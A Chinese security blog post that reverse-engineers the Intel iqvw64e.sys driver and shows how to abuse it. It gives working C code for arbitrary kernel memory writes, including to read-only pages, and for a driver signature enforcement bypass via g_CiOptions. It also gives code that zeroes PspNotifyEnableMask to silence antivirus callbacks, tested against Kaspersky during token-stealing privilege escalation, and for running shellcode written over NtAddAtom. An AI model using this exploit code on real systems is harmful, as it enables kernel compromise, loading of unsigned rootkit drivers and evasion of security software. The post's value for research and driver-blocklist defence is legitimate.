利用Intel 的驱动实现一些有趣(SAO)的操作
0x00 前言
Intel 有一个驱动(iqvw64e.sys),这个驱动文件是因特尔网络适配器诊断驱动程序。
不过这个驱动程序却可以进行利用,并且可以实现的功能不少,一度受到很多“攻击者”的青睐。
0x01 分析
没有混淆的bin 文件就是香,随便分析,没有头疼的混淆加花虚拟机啥的,干干净净,非常nice。
分析这个驱动,老规矩,IDA 伺候,直接拖到IDA 64 看反编译代码就可。
首先定位到驱动入口点DriverEntry 从这里开始向下分析。
驱动加载后,会进入入口点函数,并执行sub_5E2010 函数,向下传递DriverObject,这个是当前驱动的对象指针。
在sub_5E2010 内,主要进行了以下两个操作:
-
设置了驱动IRP 派遣函数
-
创建了驱动设备和符号链接
在设置的IRP 派遣函数中,除去下标为0的表示R3 层利用CreateFile 获取驱动对象句柄以及下标为2的表关闭句柄的例程外,可以被滥用的是下标14的表示调用DeviceIoControl 与驱动进行通信的sub_11150 函数。
在这个函数内部,被利用的是第一个case 分支,即0x80862007。在进入到找个分支后,会调用sub_113C0 函数并传入p_NamedPipeType ,这里实际上在后续流程中是作为一个结构地址。
在这个函数内部,同样也是许多分支,上面说过,传入的参数实际上是一个结构对象地址,这个结构的第一项就是选择值,不同的值进入到不同的分支。这里分支比较多,就分析一些利用起来影响比较大的函数。
-
将目标物理地址映射到非分页内存
当结构体对象第一个项值为0x19,进入到改分支,并且结构体第三项作为返回值,第四项作为参数1——返回的虚拟地址,第五项作为参数2——起始物理地址,第六项作为参数3——映射大小。
-
取消映射的物理地址
当结构体对象的第一项的值为0x1A,到达改分支,第三项作为函数返回值,第四项作为参数1——指向物理页映射到的基虚拟地址的指针,第五项作为参数2——保留值,第六项作为参数3——size。
-
返回对应的虚拟地址的物理地址
当结构体第一项值为0x25 时,进入这个分支,第三项作为函数返回值,第四项作为参数1——目标虚拟地址。
-
memset
当结构体第一项值为0x30 时,进入这个分支,第三项作为参数2——设置的数据值,第四项作为参数1——目标地址,第五项作为参数3——设置内存的大小。
-
memmove
当结构体第一项为0x33 时,进入到这个分支,第三项作为参数2——源数据地址,第四项作为参数1——目标地址,第五项作为参数3——size。
上面这5个功能是KdMapper 中所利用到的。
-
0x02 KdMapper
KdMapper 是通过与intel驱动(也就是上面那个)进行通信并通过DeviceIoControl 传递构造的结构体实现对该驱动中特定的代码进行调用并进而实现如内核内存分配、设置、复制等操作。
KdMapper 主要实现流程如下:
- 加载利用驱动
- 将待加载驱动文件读取到内存
- 利用0x19 分支、0x1A分支和0x30 分支对内核中只读地址的物理地址进行映射到其他虚拟地址并进行写入后取消映射实现对只写地址实现写入,以此实现内核任意地址写。
- 通过内核任意地址写对一些NT 低频调用的函数写入shellcode 并在R3 调用实现内核任意代码执行。
- 利用0x33分支实现对内核内存的数据修改。
- 卸载利用驱动。
KdMapper 是开源的,链接:TheCruZ/kdmapper: KDMapper is a simple tool that exploits iqvw64e.sys Intel driver to manually map non-signed drivers in memory (github.com)
KdMapper 本身并不难,加上又是开源的,所有就到此。
PS:如果KdMapper 适配到自己的系统版本后还是出现蓝屏,则需要修复驱动的Security Cookie
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)local_image_base;
PIMAGE_NT_HEADERS pNts = (PIMAGE_NT_HEADERS)((ULONG64)local_image_base + pDosHeader->e_lfanew);
if (!pNts) break;
PIMAGE_DATA_DIRECTORY pConfigDir = &pNts->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG];
PIMAGE_LOAD_CONFIG_DIRECTORY config = (PIMAGE_LOAD_CONFIG_DIRECTORY)(pConfigDir->VirtualAddress + (ULONG64)local_image_base);
LOG_DEBUG("config->SecurityCookie = %llX\r\n", config->SecurityCookie);
ULONGLONG newCookie = utils::GetRandNum();
if (!VulnerableIntelDriver::WriteMemory(iqvw64e_device_handle,
(config->SecurityCookie),
(PVOID)(&newCookie),
sizeof(ULONGLONG))) {
LOG_ERROR("Failed to fix cookie to kernel\r\n");
kernel_image_base = realBase;
break;
}
LOG_DEBUG("Write cookie to kernel success\r\n");
0x03 DES bypass
和KdMapper 类似的,实现绕过系统驱动签名检测加载驱动的还有就是DSE bypass 的方式。
DES bypass 的原理是通过修改CI.dll!g_CiOptions 的值为0实现关闭驱动签名检测,Win8 上是g_CiEnabled ,不过这个值修改会触发PG,在win11 上,这个值更是受到MmProtectDriverSection的保护, 任何修改都会导致 ATTEMPTED_WRITE_TO_READONLY_MEMORY 错误检测,不过也有招。
不过,win10 的PG 还是有招的,经典就是“我比PG快“。
在将值g_CiOptions 置0之前读取出原本的值,然后再置0,让后加载驱动,最后在恢复原本的值。
设置这个值简单的方式就是直接利用0x33 分支的代码实现memset 修改值,或者利用映射物理内存到另一个虚拟地址然后修改后再进行恢复
简单点的代码
BOOL MyMemset(HANDLE hdDriver, ULONG64 ulTargetAddr, ULONG64 ulSourceAddr, ULONG64 ulLength)
{
COPY_MEMORY_BUFFER_INFO copy_memory_buffer = { 0 };
copy_memory_buffer.case_number = 0x33;
copy_memory_buffer.source = ulSourceAddr;
copy_memory_buffer.destination = ulTargetAddr;
copy_memory_buffer.length = ulLength;
DWORD bytes_returned = 0;
return DeviceIoControl(hdDriver, ioctl1, ©_memory_buffer, sizeof(copy_memory_buffer), nullptr, 0, &bytes_returned, nullptr);
}
BOOL SetG_CiOptionsOriginValue(ULONG64 ulValue)
{
return comm::MyMemset(globale::hDriver, globale::g_CiOptions_address, (&ulValue),sizeof(ULONG64));
}
复杂点的代码
BOOL MyMemset(HANDLE hdDriver, ULONG64 ulTargetAddr, ULONG64 ulSourceAddr, ULONG64 ulLength)
{
COPY_MEMORY_BUFFER_INFO copy_memory_buffer = { 0 };
copy_memory_buffer.case_number = 0x33;
copy_memory_buffer.source = ulTargetAddr;
copy_memory_buffer.destination = ulSourceAddr;
copy_memory_buffer.length = ulLength;
DWORD bytes_returned = 0;
return DeviceIoControl(hdDriver, ioctl1, ©_memory_buffer, sizeof(copy_memory_buffer), nullptr, 0, &bytes_returned, nullptr);
}
BOOL GetPhysicalAddress(HANDLE hdDriver, uint64_t address, uint64_t* out_physical_address)
{
GET_PHYS_ADDRESS_BUFFER_INFO get_phys_address_buffer = { 0 };
get_phys_address_buffer.case_number = 0x25;
get_phys_address_buffer.address_to_translate = address;
DWORD bytes_returned = 0;
if (!DeviceIoControl(hdDriver, ioctl1, &get_phys_address_buffer, sizeof(get_phys_address_buffer), nullptr, 0, &bytes_returned, nullptr))
return false;
*out_physical_address = get_phys_address_buffer.return_physical_address;
return true;
}
uint64_t MapIoSpace(HANDLE device_handle, uint64_t physical_address, uint32_t size) {
if (!physical_address || !size)
return 0;
MAP_IO_SPACE_BUFFER_INFO map_io_space_buffer = { 0 };
map_io_space_buffer.case_number = 0x19;
map_io_space_buffer.physical_address_to_map = physical_address;
map_io_space_buffer.size = size;
DWORD bytes_returned = 0;
if (!DeviceIoControl(device_handle, ioctl1, &map_io_space_buffer, sizeof(map_io_space_buffer), nullptr, 0, &bytes_returned, nullptr))
return 0;
return map_io_space_buffer.return_virtual_address;
}
bool WriteMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size) {
return MyMemset(device_handle, address, reinterpret_cast<uint64_t>(buffer), size);
}
bool UnmapIoSpace(HANDLE device_handle, uint64_t address, uint32_t size) {
if (!address || !size)
return false;
UNMAP_IO_SPACE_BUFFER_INFO unmap_io_space_buffer = { 0 };
unmap_io_space_buffer.case_number = 0x1A;
unmap_io_space_buffer.virt_address = address;
unmap_io_space_buffer.number_of_bytes = size;
DWORD bytes_returned = 0;
return DeviceIoControl(device_handle, ioctl1, &unmap_io_space_buffer, sizeof(unmap_io_space_buffer), nullptr, 0, &bytes_returned, nullptr);
}
BOOL WriteToReadOnlyMemory(HANDLE device_handle, uint64_t address, void* buffer, uint32_t size)
{
if (!address || !buffer || !size)
return false;
uint64_t physical_address = 0;
if (!GetPhysicalAddress(device_handle, address, &physical_address)) {
printf("Failed to translate virtual address 0x%016llX\r\n", reinterpret_cast<void*>(address));
return false;
}
const uint64_t mapped_physical_memory = MapIoSpace(device_handle, physical_address, size);
if (!mapped_physical_memory) {
return false;
}
bool result = WriteMemory(device_handle, mapped_physical_memory, buffer, size);
UnmapIoSpace(device_handle, mapped_physical_memory, size);
return result;
}
}
BOOL SetG_CiOptionsOriginValue(ULONG64 ulValue)
{
return comm::WriteToReadOnlyMemory(globale::hDriver, (ULONG64)(globale::g_CiOptions_address), (void*)(&ulValue), sizeof(ULONG64));
}
刚刚提到的win11 CI.dll!g_CiOptions 受到MmProtectDriverSection 的保护,对其进行直接修改会触发ATTEMPTED_WRITE_TO_READONLY_MEMORY 错误检查,但是通过直接对这个地址所对应的全局变量进行修改可以绕开这种检测,也就是上面说的复杂的方式进行修改就可实现。
0x04 干掉一些检测的回调(某些情况下很鸡肋)
除了上面那些绕过驱动签名加载无签名驱动的利用,还可以利用它来构造任意内存读写实现对一些系统回调的摘除绕过杀软。当然,这是建立在获取管理员权限的前提下,在这之后,其实不仅可以搞掉检测,直接干死杀软也是很容易的(虽然在管理员权限下,也可以搞很多事情)。
在Windows 引入PG 机制后,杀软不在像以往那样简单粗暴的通过在内核安装各种HOOK 实现对系统的保护,因为那样会PG,转而使用注册系统回调,并在回调例程中得到的信息进行对系统的保护。
这里以卡巴斯基为例,通过ARK 工具可以看到卡巴斯基的驱动注册的系统回调和Object 钩子
这些回调例程中的某些能否执行与一个全局变量PspNotifyEnableMask 有关,使用IDA 查看这个全局变量的交叉引用会发现,这个值与线程回调、进程回调、加载镜像回调有关,当这个值置0时,这几个回调就不会执行,而这些回调也是检测常用的,关掉后可以一定程度上绕过。
上面已经给出构造任意写的代码,所以只需要传入PspNotifyEnableMask 这个值的地址并设置为0后进行自己的操作并在完成后恢复即可。
VOID DisableCallback()
{
LOG_DEBUG("%llX : %llX\r\n", global::g_NtImageBase, global::g_NtImageBase + global::g_PspNotifyEnableMask_offset);
SIZE_T dwSize = 0;
LOG_DEBUG("ret = %X\r\n", ReadMemory(
global::hDriver,
(PVOID)(global::g_NtImageBase + global::g_PspNotifyEnableMask_offset),
(PVOID) &(global::g_PspNotifyEnableMask_value),
sizeof(WORD)
));
LOG_DEBUG("get PspNotifyEnableMask origin value is %X\r\n", global::g_PspNotifyEnableMask_value);
DWORD dwData1 = 0;
LOG_DEBUG("ret = %X\r\n", WriteMemory(
global::hDriver,
(PVOID)(global::g_NtImageBase + global::g_PspNotifyEnableMask_offset),
(PVOID)&dwData1,
sizeof(WORD)
));
}
VOID EnabelCallback()
{
SIZE_T dwSize = 0;
LOG_DEBUG("ret = %X\r\n", WriteMemory(
global::hDriver,
(PVOID)(global::g_NtImageBase + global::g_PspNotifyEnableMask_offset),
(PVOID) & (global::g_PspNotifyEnableMask_value),
sizeof(WORD)
));
}
我用一个替换当前进程token 为system 进程token 的操作测试了一下,当未修改这个值的时候会被卡巴拦截到
在修改值之后,虽然卡巴对父进程的操作仍然检测到,但是在完成对目标进程的提权后,卡巴才弹出提示,但此时已经完成对目标进程的提权。
0x05 任意代码执行
写入shellcode 到内核进行执行,这里我CV KdMapper 的方式通过对NtAddAtom 函数进行覆盖写入以下指令
mov al, 0FEh
out 64h, al
ret
这个可以实现系统强制重启
BOOL WriteShellcodeAndExe()
{
/*
mov al, 0FEh
out 64h, al
ret
*/
BYTE shellcode[] = { 0xB0,0xFE,0xE6,0x64,0xC3 };
BYTE original_kernel_function[sizeof(shellcode)];
LOG_DEBUG("globale::g_NtAddAtom_address : %llX\r\n", globale::g_NtAddAtom_address);
system("pause");
typedef void(__fastcall* NtAddAtomFunc)(void);
NtAddAtomFunc ntf = (NtAddAtomFunc)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAddAtom");
ntf();
// 备份原始数据
comm::ReadData(globale::hDriver, (ULONG64)original_kernel_function, globale::g_NtAddAtom_address, sizeof(shellcode));
// 模拟写入shellcode
comm::WrietData(globale::hDriver, globale::g_NtAddAtom_address, shellcode, sizeof(shellcode));
printf("write shellcode success : will reboot\r\n");
system("pause");
ntf();
return false;
}
在覆盖前的NtAddAtom 函数内容如下:
覆盖上shellcode 如下:
执行效果:
简单利用任意内存写写入强制重启的指令到指定地址并构造任意代码执行触发shellcode 执行,同样的也可以写入其他shellcode 进行攻击。
0x06 总结
其实KdMapper 这个项目就是利用intel 签名的驱动自身的一些缺陷构实现一些出人意料的功能绕过系统本身的一些限制达到攻击的目的,KdMapper 可能更多的会用在游戏破解方面。与Intel 这个驱动有相似特性(容易被利用)的驱动还是挺多的,就比如ProcessHacker 的驱动可以利用其实现获取系统任意进程句柄,类似功能的驱动不在少数,在国外论坛上甚至有大师傅罗列了一个可以被利用的合法驱动的列表,有兴趣可以去看看。
- 本文作者: tutuj
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1706
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!